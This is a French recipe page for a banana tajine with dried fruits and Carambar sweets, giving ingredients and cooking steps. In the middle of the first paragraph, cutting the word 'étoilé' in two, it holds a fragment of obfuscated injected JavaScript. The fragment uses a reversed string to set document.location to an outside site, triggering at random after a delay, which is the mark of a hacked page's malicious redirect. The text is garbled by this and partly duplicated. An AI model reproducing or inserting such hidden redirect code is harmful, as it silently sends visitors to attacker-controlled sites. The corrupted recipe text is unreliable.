Tajine de bananes avec des fruits secs et des Carambars
2021-05-03- Thématique : Végétarien
- Niveau : Difficile
Pelez, coupez en rondelles épaisses les bananes. Faites les caraméliser dans une poêle avec la cassonade, la cannelle, l’anis étobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toilé et le brin de romarin. Versez le sirop de fruits sur les bananes
Ingrédients
Pelez, coupez en rondelles épaisses les bananes. Faites les caraméliser dans une poêle avec la cassonade, la cannelle, l'anis étoilé et le brin de romarin. Versez le sirop de fruits sur les bananes Portez à ébullition ajoutez les fruits secs coupés en petits dés ainsi que les amandes effilées et les raisins Smyrne.
Laissez cuire sur feu très doux jusqu'à ce que les fruits soient fondants. Ajoutez les jus de citron et les Carambars coupés en petits morceaux. Prolongez la cuisson quelques minutes tout en mélangeant. Répartissez dans des assiettes creuses avec l'ensemble des épices et dégustez
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
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